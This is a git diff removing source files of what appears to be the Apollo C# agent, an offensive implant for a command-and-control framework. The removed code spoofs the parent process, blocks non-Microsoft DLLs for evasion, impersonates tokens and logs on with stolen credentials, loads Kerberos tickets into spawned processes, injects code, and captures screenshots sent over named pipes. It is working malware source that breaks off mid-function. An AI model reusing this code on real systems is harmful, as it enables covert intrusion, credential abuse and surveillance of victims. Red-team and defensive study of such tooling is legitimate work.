lpCurrentDirectory, - ref StartupInfoEx lpStartupInfo, - out Win32.ProcessInformation lpProcessInformation); - private delegate UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilli); - private delegate bool GetExitCodeProcess( - IntPtr hProcess, - out int lpExitCode); - private delegate void CloseHandle(IntPtr hHandle); - #endregion - #region USERENV - // Userenv.dll - private delegate bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit); - private delegate bool DestroyEnvironmentBlock(IntPtr lpEnvironment); - #endregion -#if SERVER2012_COMPATIBLE - private GetModuleHandleA _pGetModuleHandleA; - private GetProcAddress _pGetProcAddress; -#endif - private CreateProcessAsUser _pCreateProcessAsUser; - private CloseHandle _pCloseHandle; - private InitializeSecurityDescriptor _pInitializeSecurityDescriptor; - private SetSecurityDescriptorDacl _pSetSecurityDescriptorDacl; - private CreatePipe _pCreatePipe; - private SetHandleInformation _pSetHandleInformation; - private OpenProcess _pOpenProcess; - private InitializeProcThreadAttributeList _pInitializeProcThreadAttributeList = null; - private UpdateProcThreadAttribute _pUpdateProcThreadAttribute; - private DeleteProcThreadAttributeList _pDeleteProcThreadAttributeList; - private DuplicateHandle _pDuplicateHandle; - private CreateEnvironmentBlock _pCreateEnvironmentBlock; - private DestroyEnvironmentBlock _pDestroyEnvironmentBlock; - private CreateProcessA _pCreateProcessA; - private WaitForSingleObject _pWaitForSingleObject; - private GetExitCodeProcess _pGetExitCodeProcess; - private LogonUser _pLogonUser; - private CreateProcessWithLogonW _pCreateProcessWithLogonW; - private CreateProcessWithTokenW _pCreateProcessWithTokenW; - public Advapi32APIs.ImpersonateLoggedOnUser ImpersonateLoggedOnUserDelegate { get; private set; } - public Advapi32APIs.OpenProcessToken OpenProcessTokenDelegate { get; private set; } - #endregion - - public SacrificialProcess( - IAgent agent, - string lpApplication, - string lpArguments = null, - bool startSuspended = false) : base(agent, lpApplication, lpArguments, startSuspended) - { - _pInitializeSecurityDescriptor = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "InitializeSecurityDescriptor"); - _pSetSecurityDescriptorDacl = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetSecurityDescriptorDacl"); - _pLogonUser = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserW"); - _pCreateProcessAsUser = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessAsUserA"); - _pCreateProcessWithLogonW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessWithLogonW"); - _pCreateProcessWithTokenW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessWithTokenW"); - ImpersonateLoggedOnUserDelegate = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ImpersonateLoggedOnUser"); - -#if SERVER2012_COMPATIBLE - _pGetModuleHandleA = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetModuleHandleA"); - _pGetProcAddress = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetProcAddress"); - - IntPtr hKernel32 = _pGetModuleHandleA("kernel32.dll"); - IntPtr pInitializeProcThreadAttributeList = - _pGetProcAddress(hKernel32, "InitializeProcThreadAttributeList"); - IntPtr pSetHandleInfo = _pGetProcAddress(hKernel32, "SetHandleInformation"); - IntPtr pUpdateProcThreadAttribute = _pGetProcAddress(hKernel32, "UpdateProcThreadAttribute"); - - IntPtr pDeleteProcThreadAttributeList = _pGetProcAddress(hKernel32, "DeleteProcThreadAttributeList"); - - - _pInitializeProcThreadAttributeList = - (InitializeProcThreadAttributeList)Marshal.GetDelegateForFunctionPointer(pInitializeProcThreadAttributeList, - typeof(InitializeProcThreadAttributeList)); - - _pSetHandleInformation = - (SetHandleInformation)Marshal.GetDelegateForFunctionPointer(pSetHandleInfo, - typeof(SetHandleInformation)); - - _pUpdateProcThreadAttribute = (UpdateProcThreadAttribute)Marshal.GetDelegateForFunctionPointer(pUpdateProcThreadAttribute, typeof(UpdateProcThreadAttribute)); - _pDeleteProcThreadAttributeList = (DeleteProcThreadAttributeList)Marshal.GetDelegateForFunctionPointer(pDeleteProcThreadAttributeList, typeof(DeleteProcThreadAttributeList)); -#else - _pSetHandleInformation = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "SetHandleInformation"); - _pInitializeProcThreadAttributeList = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "InitializeProcThreadAttributeList"); - _pUpdateProcThreadAttribute = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "UpdateProcThreadAttribute"); - _pDeleteProcThreadAttributeList = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "DeleteProcThreadAttributeList"); -#endif - - _pCreateProcessA = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreateProcessA"); - _pCreatePipe = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreatePipe"); - _pOpenProcess = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "OpenProcess"); - OpenProcessTokenDelegate = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); - _pDuplicateHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "DuplicateHandle"); - _pWaitForSingleObject = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "WaitForSingleObject"); - _pGetExitCodeProcess = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetExitCodeProcess"); - _pCloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); - - _pCreateEnvironmentBlock = _agent.GetApi().GetLibraryFunction(Library.USERENV, "CreateEnvironmentBlock"); - _pDestroyEnvironmentBlock = _agent.GetApi().GetLibraryFunction(Library.USERENV, "DestroyEnvironmentBlock"); - - Exit += SacrificialProcess_Exit; - } - - ~SacrificialProcess() - { - DebugHelp.DebugWriteLine($"hReadOut 0x{hReadOut.DangerousGetHandle():x}"); - DebugHelp.DebugWriteLine($"hWriteOut 0x{hWriteOut.DangerousGetHandle():x}"); - DebugHelp.DebugWriteLine($"hReadErr 0x{hReadErr.DangerousGetHandle():x}"); - DebugHelp.DebugWriteLine($"hWriteErr 0x{hWriteErr.DangerousGetHandle():x}"); - DebugHelp.DebugWriteLine($"hReadIn 0x{hReadIn.DangerousGetHandle():x}"); - DebugHelp.DebugWriteLine($"hWriteIn 0x{hWriteIn.DangerousGetHandle():x}"); - DebugHelp.DebugWriteLine($"hDupWriteOut 0x{hDupWriteOut.DangerousGetHandle():x}"); - DebugHelp.DebugWriteLine($"hDupWriteErr 0x{hDupWriteErr.DangerousGetHandle():x}"); - ; - if (_startupInfoEx.lpAttributeList != IntPtr.Zero) - { - _pDeleteProcThreadAttributeList(_startupInfoEx.lpAttributeList); - Marshal.FreeHGlobal(_startupInfoEx.lpAttributeList); - } - - if (_unmanagedEnv != IntPtr.Zero) - { - _pDestroyEnvironmentBlock(_unmanagedEnv); - } - if (Handle != IntPtr.Zero) - { - _pCloseHandle(Handle); - } - - if (_hParentProc != IntPtr.Zero) - { - _pCloseHandle(_hParentProc); - } - } - - private void SacrificialProcess_Exit(object sender, EventArgs e) - { - HasExited = true; - int dwExit = 0; - if (!_pGetExitCodeProcess(Handle, out dwExit)) - { - ExitCode = 0; - } - else - { - ExitCode = dwExit; - } - try - { - System.Diagnostics.Process.GetProcessById((int)PID).Kill(); - } - catch { } - - if (ExitCode != 0) - { - DebugHelp.DebugWriteLine($"Sacrificial process exited with code 0x{ExitCode:x}"); - } - - _exited.Set(); - } - - bool InitializeStartupEnvironment(IntPtr hToken) - { - bool bRet = false; - DebugHelp.DebugWriteLine("Initializing process output pipes"); - bRet = InitializeProcessOutputPipes(); - DebugHelp.DebugWriteLine("Initialized process output pipes: " + bRet); - DebugHelp.DebugWriteLine("Creating environment block"); - if (!_pCreateEnvironmentBlock(out _unmanagedEnv, hToken, false)) - { - DebugHelp.DebugWriteLine("Failed creating environment block"); - _unmanagedEnv = IntPtr.Zero; - } - - if (_startSuspended) - _processFlags |= CreateProcessFlags.CREATE_SUSPENDED; - - // Create process - _startupInfo.cb = Marshal.SizeOf(_startupInfoEx); - _startupInfo.dwFlags = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW; - // Wonder if this interferes with stdout? - _startupInfo.wShowWindow = 0; - ApplicationStartupInfo evasionArgs = GetSafeStartupArgs(); - DebugHelp.DebugWriteLine("Got safe startup args"); - - if (_hParentProc != IntPtr.Zero) - { - IntPtr lpVal = Marshal.AllocHGlobal(IntPtr.Size); - IntPtr lpSize = IntPtr.Zero; - - Marshal.WriteIntPtr(lpVal, _hParentProc); - int dwAttributeCount = evasionArgs.BlockDLLs ? 2 : 1; - - var result1 = _pInitializeProcThreadAttributeList(IntPtr.Zero, dwAttributeCount, 0, ref lpSize); - _startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); - DebugHelp.DebugWriteLine("Initializing proc thread attribute list"); - bRet = _pInitializeProcThreadAttributeList(_startupInfoEx.lpAttributeList, dwAttributeCount, 0, ref lpSize); - if (bRet) - { - // BlockDLLs - if (evasionArgs.BlockDLLs) - { - DebugHelp.DebugWriteLine("Enabling BlockDLLs"); - bRet = EnableBlockDLLs(); - } - DebugHelp.DebugWriteLine("Setting parent process"); - bRet = _pUpdateProcThreadAttribute(_startupInfoEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpVal, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); - if (bRet) - { - try - { - DebugHelp.DebugWriteLine($"Running pre handle duplication as: {WindowsIdentity.GetCurrent().Name}"); - IntPtr currentProcHandle; - DebugHelp.DebugWriteLine($"Running get process handle as: {WindowsIdentity.GetCurrent().Name}"); - currentProcHandle = System.Diagnostics.Process.GetCurrentProcess().Handle; - DebugHelp.DebugWriteLine($"Running duplicate handles as: {WindowsIdentity.GetCurrent().Name}"); - DebugHelp.DebugWriteLine("Duplicating handles"); - //source process handle, source handle, target process handle, target handle, desired access, inherit handle, options - bRet = _pDuplicateHandle(currentProcHandle, hWriteOut, _hParentProc, ref hDupWriteOut, 0, true, DuplicateOptions.DuplicateSameAccess); - DebugHelp.DebugWriteLine($"Duplicated StdOut handle normal: {bRet}"); - bRet = _pDuplicateHandle(currentProcHandle, hWriteErr, _hParentProc, ref hDupWriteErr, 0, true, DuplicateOptions.DuplicateSameAccess); - DebugHelp.DebugWriteLine($"Duplicated StdErr handle normal: {bRet}"); - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine(ex.Message); - try - { - DebugHelp.DebugWriteLine("Failed to duplicate handles. Attempting to duplicate without impersonation."); - var currentIdentity = new WindowsIdentity(_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Token); - var currentImpersonation = new WindowsIdentity(_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Token); - using (_agent.GetIdentityManager().GetOriginal().Impersonate()) - { - var currentProcHandle = System.Diagnostics.Process.GetCurrentProcess().Handle; - DebugHelp.DebugWriteLine($"Reverted to: {WindowsIdentity.GetCurrent().Name}"); - bRet = _pDuplicateHandle(currentProcHandle, hWriteOut, _hParentProc, ref hDupWriteOut, 0, true, DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); - DebugHelp.DebugWriteLine($"Duplicated StdOut handle: {bRet}"); - bRet = _pDuplicateHandle(currentProcHandle, hWriteErr, _hParentProc, ref hDupWriteErr, 0, true, DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); - DebugHelp.DebugWriteLine($"Duplicated StdErr handle: {bRet}"); - } - DebugHelp.DebugWriteLine("restoring previous impersonation"); - _agent.GetIdentityManager().SetImpersonationIdentity(currentImpersonation.Token); - _agent.GetIdentityManager().SetPrimaryIdentity(currentIdentity.Token); - } - catch (Exception ex2) - { - DebugHelp.DebugWriteLine($"Failed to duplicate handles: {ex2.Message}"); - bRet = false; - } - } - if (bRet) - { - DebugHelp.DebugWriteLine("Setting up startup info"); - _startupInfo.hStdOutput = hDupWriteOut; - _startupInfo.hStdError = hDupWriteErr; - _startupInfo.hStdInput = hReadIn; - _startupInfoEx.StartupInfo = _startupInfo; - bRet = true; - } - } - else - { - DebugHelp.DebugWriteLine("Failed to set parent process, exiting"); - bRet = false; - } - } - else - { - DebugHelp.DebugWriteLine("Failed to initialize proc thread attribute list, exiting"); - bRet = false; - } - if (!bRet) - { - Marshal.FreeHGlobal(lpVal); - } - } - else - { - DebugHelp.DebugWriteLine("Parent process handle was zero. Exiting."); - bRet = false; - } - - return bRet; - } - - private bool EnableBlockDLLs() - { - bool bRet; - var lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size); - - Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON); - - bRet = _pUpdateProcThreadAttribute( - _startupInfoEx.lpAttributeList, - 0, - (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, - lpMitigationPolicy, - (IntPtr)IntPtr.Size, - IntPtr.Zero, - IntPtr.Zero - ); - return bRet; - } - - private ApplicationStartupInfo GetSafeStartupArgs() - { - var evasionArgs = _agent.GetProcessManager().GetStartupInfo(); - - // bad things happen if you're medium integrity and do ppid spoofing while under the effects of make_token - if (_agent.GetIdentityManager().GetOriginal().Name != _agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name) - { - evasionArgs.ParentProcessId = System.Diagnostics.Process.GetCurrentProcess().Id; - } - // I changed this to safe handle instead of intptr. Maybe bad??? - _hParentProc = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, evasionArgs.ParentProcessId); - - if (_hParentProc == IntPtr.Zero) - { - using (_agent.GetIdentityManager().GetOriginal().Impersonate()) - _hParentProc = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, evasionArgs.ParentProcessId); - } - - return evasionArgs; - } - - private bool InitializeProcessOutputPipes() - { - DebugHelp.DebugWriteLine($"Running InitializeProcessOutputPipes as: {WindowsIdentity.GetCurrent().Name}"); - bool bRet; - _securityAttributes.bInheritHandle = true; - bRet = _pInitializeSecurityDescriptor(out SecurityDescriptor sd, 1); - bRet = _pSetSecurityDescriptorDacl(ref sd, true, IntPtr.Zero, false); - IntPtr pSd = Marshal.AllocHGlobal(Marshal.SizeOf(sd)); - Marshal.StructureToPtr(sd, pSd, false); - _securityAttributes.lpSecurityDescriptor = pSd; - bRet = _pCreatePipe(out hReadOut, out hWriteOut, _securityAttributes, 0); - if (!bRet) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - bRet = _pCreatePipe(out hReadErr, out hWriteErr, _securityAttributes, 0); - if (!bRet) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - bRet = _pCreatePipe(out hReadIn, out hWriteIn, _securityAttributes, 0); - if (!bRet) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - bRet = _pSetHandleInformation(hReadOut, 1, 0); - if (!bRet) - throw new Win32Exception(Marshal.GetLastWin32Error()); - return bRet; - } - - public override bool Inject(byte[] code, string arguments = "") - { - bool bRet = false; - if (Handle == IntPtr.Zero) - { - return bRet; - } - if (HasExited) - { - return bRet; - } - try - { - var technique = _agent.GetInjectionManager().CreateInstance(code, (int)PID); - bRet = technique.Inject(arguments); - } - catch (Exception ex) - { - bRet = false; - } - return bRet; - } - - public override bool Start() - { - bool bRet = false; - if (_agent.GetIdentityManager().IsOriginalIdentity()) - { - bRet = InitializeStartupEnvironment(_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Token); - if (bRet) - { - bRet = _pCreateProcessA( - null, - CommandLine, - IntPtr.Zero, - IntPtr.Zero, - true, - _processFlags | CreateProcessFlags.EXTENDED_STARTUPINFO_PRESENT, - _unmanagedEnv, - null, - ref _startupInfoEx, - out _processInfo); - } - } - else - { - return StartWithCredentials(_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Token); - } - if (!bRet) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - PostStartupInitialize(); - - if (PID != 0) - WaitForExitAsync(); - - return bRet; - } - - - - private void PostStartupInitialize() - { - Handle = _processInfo.hProcess; - PID = (uint)_processInfo.dwProcessId; - if (_startSuspended) { return; } - // only start processing stdout/stderr/stdin for non sacrificial jobs - _standardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); - _standardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); - _standardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); - } - - private async void WaitForExitAsync() - { - try - { - await Task.Factory.StartNew(() => - { - if (!_startSuspended) - { - var stdOutTask = GetStdOutAsync(); - var stdErrTask = GetStdErrAsync(); - stdOutTask.Start(); - stdErrTask.Start(); - } - - var waitExitForever = new Task(() => - { - _pWaitForSingleObject(Handle, 0xFFFFFFFF); - }); - - waitExitForever.Start(); - - try - { - waitExitForever.Wait(_cts.Token); - // at this point, the process has exited - //WaitHandle.WaitAny(new WaitHandle[] - //{ - // _cts.Token.WaitHandle, - //}); - } - catch (OperationCanceledException) - { - - } - try - { - Task.WaitAll(new Task[] - { - //stdOutTask, - //stdErrTask - }); - } - catch { } - OnExit(this, null); - }); - } - catch(Exception ex) - { - DebugHelp.DebugWriteLine($"Error getting output. {ex}"); - } - - } - - private IEnumerable ReadStream(TextReader stream) - { - string output = ""; - int szBuffer = 4096; - int bytesRead = 0; - char[] tmp; - bool needsBreak = false; - do - { - char[] buf = new char[szBuffer]; - bytesRead = 0; - try - { - DebugHelp.DebugWriteLine($"About to call stream.Read"); - Task readTask = stream.ReadAsync(buf, 0, szBuffer); - Task.WaitAny(new Task[] - { - readTask, - }, _cts.Token); - if (readTask.IsCompleted) - { - bytesRead = readTask.Result; - } else - { - bytesRead = 0; - - } - //bytesRead = stream.Read(buf, 0, szBuffer); - - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Error calling stream.Read. {ex}, {bytesRead}"); - } - DebugHelp.DebugWriteLine("Finished stream.Read."); - if (bytesRead > 0) - { - tmp = new char[bytesRead]; - Array.Copy(buf, tmp, bytesRead); - output = new string(tmp); - yield return output; - } - } while (!_cts.IsCancellationRequested); - - output = ""; - try - { - DebugHelp.DebugWriteLine("About to call stream.ReadToEnd."); - //output = stream.ReadToEnd(); - } - catch { } - if (!string.IsNullOrEmpty(output)) - { - yield return output; - } - DebugHelp.DebugWriteLine("Returning from ReadStream."); - yield break; - } - - private Task GetStdOutAsync() - { - return new Task(() => - { - DebugHelp.DebugWriteLine("Starting GetStdOutAsync."); - foreach (string s in ReadStream(_standardOutput)) - { - StdOut += s; - DebugHelp.DebugWriteLine("Got Data on GetStdOutAsync."); - OnOutputDataReceived(this, new StringDataEventArgs(s)); - } - DebugHelp.DebugWriteLine("Finished GetStdOutAsync."); - }); - } - - private Task GetStdErrAsync() - { - return new Task(() => - { - DebugHelp.DebugWriteLine("Starting GetStdErrAsync."); - foreach (string s in ReadStream(_standardError)) - { - StdErr += s; - DebugHelp.DebugWriteLine("Got Data on GetStdErrAsync."); - OnErrorDataRecieved(this, new StringDataEventArgs(s)); - } - DebugHelp.DebugWriteLine("Finished GetStdErrAsync."); - }); - } - - public override bool StartWithCredentials(ApolloLogonInformation logonInfo) - { - bool bRet = false; - IntPtr hToken = IntPtr.Zero; - - bRet = _pLogonUser( - logonInfo.Username, - logonInfo.Domain, - logonInfo.Password, - logonInfo.NetOnly?LogonType.LOGON32_LOGON_NEW_CREDENTIALS:LogonType.LOGON32_LOGON_INTERACTIVE, - LogonProvider.LOGON32_PROVIDER_WINNT50, - out hToken); - if (!bRet) - { - return bRet; - } - else - { - Exit += (object sender, EventArgs e) => - { - _pCloseHandle(hToken); - }; - return StartWithCredentials(hToken); - } - } - - public override bool StartWithCredentials(IntPtr hToken) - { - int dwError; - var bRet = false; - - DebugHelp.DebugWriteLine($"calling InitializeStartupEnvironment"); - if (_agent.GetIdentityManager().GetOriginal().Name != _agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name) - { - using (_agent.GetIdentityManager().GetOriginal().Impersonate()) - { - bRet = InitializeStartupEnvironment(hToken); - } - } - else - { - bRet = InitializeStartupEnvironment(hToken); - } - - if (!bRet) - { - DebugHelp.DebugWriteLine($"start up failed returning"); - return bRet; - - } - else - { - DebugHelp.DebugWriteLine("Calling create process as user."); - bRet = _pCreateProcessAsUser( - hToken, - null, - CommandLine, - IntPtr.Zero, - IntPtr.Zero, - true, - _processFlags | CreateProcessFlags.EXTENDED_STARTUPINFO_PRESENT, - _unmanagedEnv, - null, - ref _startupInfoEx, - out _processInfo - ); - dwError = Marshal.GetLastWin32Error(); - DebugHelp.DebugWriteLine($"Create process as user returned: {bRet}"); - DebugHelp.DebugWriteLine($"Error code: {dwError}"); - if (!bRet && (dwError == 1314)) // ERROR_PRIVILEGE_NOT_HELD or FILE_NOT_FOUND - { - DebugHelp.DebugWriteLine("Failed to create process as user. Attempting to create process with token."); - bRet = _pCreateProcessWithTokenW( - hToken, - LogonFlags.LOGON_NETCREDENTIALS_ONLY, - null, - CommandLine, - _processFlags, - _unmanagedEnv, - null, - ref _startupInfoEx, - out _processInfo); - - dwError = Marshal.GetLastWin32Error(); - - if (!bRet && (dwError == 1314)) - { - if (_agent.GetIdentityManager().GetCurrentLogonInformation(out ApolloLogonInformation cred)) - { - DebugHelp.DebugWriteLine("Failed to create process with token. Attempting to create process with logon."); - bRet = _pCreateProcessWithLogonW( - cred.Username, - cred.Domain, - cred.Password, - //LogonFlags.NONE, //Atm I am getting error 142 but using NETCREDENTIALS_ONLY gives no error - LogonFlags.LOGON_NETCREDENTIALS_ONLY, - null, - CommandLine, - _processFlags, - _unmanagedEnv, - null, - ref _startupInfoEx, - out _processInfo); - dwError = Marshal.GetLastWin32Error(); - } - } - } - - if (!bRet) - { - DebugHelp.DebugWriteLine($"Failed to create process Reason: {dwError}"); - throw new Win32Exception(dwError); - } - - PostStartupInitialize(); - if (PID == 0) - { - return bRet; - } - //if running an a medium int user we may want to inject stored tickets into out new process - //if (_agent.GetIdentityManager().GetIntegrityLevel() < IntegrityLevel.HighIntegrity) - //{ - DebugHelp.DebugWriteLine($"LUID prior to impersonation: {_agent.GetTicketManager().GetCurrentLuid()}"); - //get into the context of the newly created process prior to loading tickets - IntPtr targetProcessHandle = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, (int)PID); - if (targetProcessHandle == IntPtr.Zero) - { - DebugHelp.DebugWriteLine("Failed to open process handle"); - } - bool OpenedTargetToken = OpenProcessTokenDelegate((APIInteropTypes.HANDLE)targetProcessHandle, TokenAccessLevels.Query | TokenAccessLevels.Duplicate, out APIInteropTypes.HANDLE targetProcessTokenHandle); - if (OpenedTargetToken is false) - { - DebugHelp.DebugWriteLine("Failed to open process token handle"); - DebugHelp.DebugWriteLine("Error code: " + Marshal.GetLastWin32Error()); - } - if (targetProcessTokenHandle.IsNull) - { - DebugHelp.DebugWriteLine("opened token but handle is null"); - DebugHelp.DebugWriteLine("Error code: " + Marshal.GetLastWin32Error()); - } - if (ImpersonateLoggedOnUserDelegate(targetProcessTokenHandle) is false) - { - DebugHelp.DebugWriteLine("Failed to impersonate logged on user"); - } - DebugHelp.DebugWriteLine($"LUID post impersonation: {_agent.GetTicketManager().GetCurrentLuid()}"); - //check the ticket manager and load the ticket into the process - var storedTickets = _agent.GetTicketManager().GetTicketsFromTicketStore(); - foreach (var ticket in storedTickets) - { - var ticketBytes = Convert.FromBase64String(ticket.base64Ticket); - _agent.GetTicketManager().LoadTicketIntoCache(ticketBytes, ""); - } - //} - //start executing the process - WaitForExitAsync(); - return bRet; - } - } - - public override void Kill() - { - _cts.Cancel(); - _exited.WaitOne(); - } - - public override void WaitForExit() - { - _exited.WaitOne(); - } - - public override void WaitForExit(int milliseconds) - { - _exited.WaitOne(milliseconds); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Process/packages.config b/Payload_Type/apollo/apollo/agent_code/Process/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Process/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/FodyWeavers.xml b/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/FodyWeavers.xml deleted file mode 100644 index 286d191a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/FodyWeavers.xsd b/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/FodyWeavers.xsd deleted file mode 100644 index 05e92c11..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/FodyWeavers.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Program.cs b/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Program.cs deleted file mode 100644 index 38f0ea98..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ScreenshotInject/Program.cs +++ /dev/null @@ -1,179 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using ApolloInterop.Serializers; -using System.Collections.Concurrent; -using ApolloInterop.Classes; -using System.Threading; -using ApolloInterop.Classes.Core; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Interfaces; -using ST = System.Threading.Tasks; -using ApolloInterop.Enums.ApolloEnums; -using System.IO.Pipes; -using ApolloInterop.Constants; -using ApolloInterop.Classes.Events; - -namespace ScreenshotInject -{ - class Program - { - - private static JsonSerializer _jsonSerializer = new JsonSerializer(); - private static string _namedPipeName; - private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private static ConcurrentQueue _recieverQueue = new ConcurrentQueue(); - private static AsyncNamedPipeServer _server; - private static AutoResetEvent _senderEvent = new AutoResetEvent(false); - private static AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private static ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - private static CancellationTokenSource _cts = new CancellationTokenSource(); - private static Action _sendAction; - private static ST.Task _clientConnectedTask = null; - - static void Main(string[] args) - { - - if (args.Length != 1) - { - throw new Exception("No named pipe name given."); - } - _namedPipeName = args[0]; - - _sendAction = (object p) => - { - PipeStream pipe = (PipeStream)p; - - while (pipe.IsConnected && !_cts.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] { - _senderEvent, - _cts.Token.WaitHandle - }); - if (_senderQueue.TryDequeue(out byte[] result)) - { - pipe.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, pipe); - } - } - pipe.Flush(); - pipe.Close(); - }; - _server = new AsyncNamedPipeServer(_namedPipeName, null, 1, IPC.SEND_SIZE, IPC.RECV_SIZE); - _server.ConnectionEstablished += OnAsyncConnect; - _server.MessageReceived += OnAsyncMessageReceived; - _server.Disconnect += ServerDisconnect; - _receiverEvent.WaitOne(); - if (_recieverQueue.TryDequeue(out IMythicMessage screenshotArgs)) - { - if (screenshotArgs.GetTypeCode() != MessageType.IPCCommandArguments) - { - throw new Exception($"Got invalid message type. Wanted {MessageType.IPCCommandArguments}, got {screenshotArgs.GetTypeCode()}"); - } - uint count = 1; - uint interval = 0; - string[] parts = ((IPCCommandArguments)screenshotArgs).StringData.Split(' '); - if (parts.Length > 0) - { - count = uint.Parse(parts[0]); - } - if (parts.Length > 1) - { - interval = uint.Parse(parts[1]); - } - for(int i = 0; i < count && !_cts.IsCancellationRequested; i++) - { - byte[][] screens = Screenshot.GetScreenshots(); - foreach(byte[] bScreen in screens) - { - AddToSenderQueue(new ScreenshotInformation(bScreen)); - } - try - { - 